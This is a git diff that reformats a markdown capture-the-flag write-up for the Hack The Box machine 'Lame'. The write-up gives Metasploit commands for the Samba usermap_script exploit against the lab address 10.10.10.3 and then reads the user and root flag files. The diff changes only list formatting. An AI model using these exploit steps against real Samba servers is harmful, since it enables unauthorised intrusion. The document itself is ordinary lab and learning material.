diff --git a/CTF/hackthebox.com/0001lame.md b/CTF/hackthebox.com/0001lame.md index 7706364..a6e6ca0 100644 --- a/CTF/hackthebox.com/0001lame.md +++ b/CTF/hackthebox.com/0001lame.md @@ -25,40 +25,37 @@ Retired Easy Machine by ch4p

Exploitation

-
    -
  1. Using metasploit we can use the exploit to shell the box.
    - -```bash -use exploit/multi/samba/usermap_script -msf exploit(multi/samba/usermap_script) > set rhost 10.10.10.3 -msf exploit(multi/samba/usermap_script) > exploit -``` - -Enumeration 1 - -Enumeration 2 - -Now open home folder using terminal and find the user.txt. - -```bash -cd home -ls -cd makis -ls -cat user.txt -``` - -Now goto root folder and find the root.txt. +1. Using metasploit we can use the exploit to shell the box. + ```bash + use exploit/multi/samba/usermap_script + msf exploit(multi/samba/usermap_script) > set rhost 10.10.10.3 + msf exploit(multi/samba/usermap_script) > exploit + ``` -```bash -cd root -ls -cat root.txt -``` - -Flags
  2. + Enumeration 1 + + Enumeration 2 + + Now open home folder using terminal and find the user.txt. + + ```bash + cd home + ls + cd makis + ls + cat user.txt + ``` + +2. Now goto root folder and find the root.txt. + + ```bash + cd root + ls + cat root.txt + ``` + + Flags -

Walkthrough

https://www.youtube.com/watch?v=sq0qVn3iLm0